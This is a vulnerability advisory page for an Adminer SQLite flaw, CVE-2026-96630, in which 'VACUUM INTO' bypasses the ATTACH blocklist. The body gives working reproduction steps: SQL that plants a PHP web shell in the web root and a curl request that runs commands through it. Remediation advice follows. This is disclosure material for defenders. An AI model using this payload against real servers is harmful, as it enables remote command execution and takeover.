CVE-2026-96630
Adminer SQLite Remote Code Execution via VACUUM INTO
Description
## Summary Adminer blocks `ATTACH` queries for SQLite to prevent arbitrary file creation. However, `VACUUM INTO` is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands. Originally reported in Adminer: [GHSA-q4f2-39gr-45jh](https://github.com/vrana/adminer/security/advisories/GHSA-gmx3-g29w-77wf) ## Root Cause sql.inc.php, line 146: ```php if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) { // blocked } ``` Only `ATTACH` is in the blocklist. `VACUUM INTO` (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked. ## Steps To Reproduce ### 1. Login to SQLite 1. Open AdminNeo and select driver: **SQLite** 2. Login and create a new database (e.g., `stage.db`) ### 2. Inject PHP code and write the shell Navigate to **SQL command** and execute: ```sql CREATE TABLE "<?php system($_GET['c']); ?>" (i int); VACUUM INTO '/var/www/html/shell.php'; ``` The SQLite file is written to `/var/www/html/shell.php`. The table name containing `<?php` appears as raw bytes in the file. PHP's parser finds and executes it. ### 3. Execute commands ```shell curl "http://TARGET/shell.php?c=id" # uid=0(root) gid=0(root) groups=0(root) ``` ## Collaborator Request This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!
INFO
Published Date :
Oct. 30, 2026, 10:51 p.m.
Last Modified :
Oct. 30, 2026, 10:51 p.m.
Remotely Exploit :
Yes !
Source :
github-security-advisories
Affected Products
The following products are affected by CVE-2026-96630
vulnerability.
Even if cvefeed.io is aware of the exact versions of the
products
that
are
affected, the information is not represented in the table below.
No affected product recoded yet
CVSS Scores
| Score | Version | Severity | Vector | Exploitability Score | Impact Score | Source |
|---|---|---|---|---|---|---|
| CVSS 3.1 | HIGH | github |
Solution
- Update Adminer to the latest version.
- Ensure VACUUM INTO is blocked for SQLite.
- Review file write permissions.
References to Advisories, Solutions, and Tools
Here, you will find a curated list of external links that provide in-depth
information, practical solutions, and valuable tools related to
CVE-2026-96630.
CWE - Common Weakness Enumeration
While CVE identifies
specific instances of vulnerabilities, CWE categorizes the common flaws or
weaknesses that can lead to vulnerabilities. CVE-2026-96630 is
associated with the following CWEs:
Common Attack Pattern Enumeration and Classification (CAPEC)
Common Attack Pattern Enumeration and Classification
(CAPEC)
stores attack patterns, which are descriptions of the common attributes and
approaches employed by adversaries to exploit the CVE-2026-96630
weaknesses.
We scan GitHub repositories to detect new proof-of-concept exploits. Following list is a collection of public exploits and proof-of-concepts, which have been published on GitHub (sorted by the most recently updated).
Results are limited to the first 15 repositories due to potential performance issues.
The following list is the news that have been mention
CVE-2026-96630 vulnerability anywhere in the article.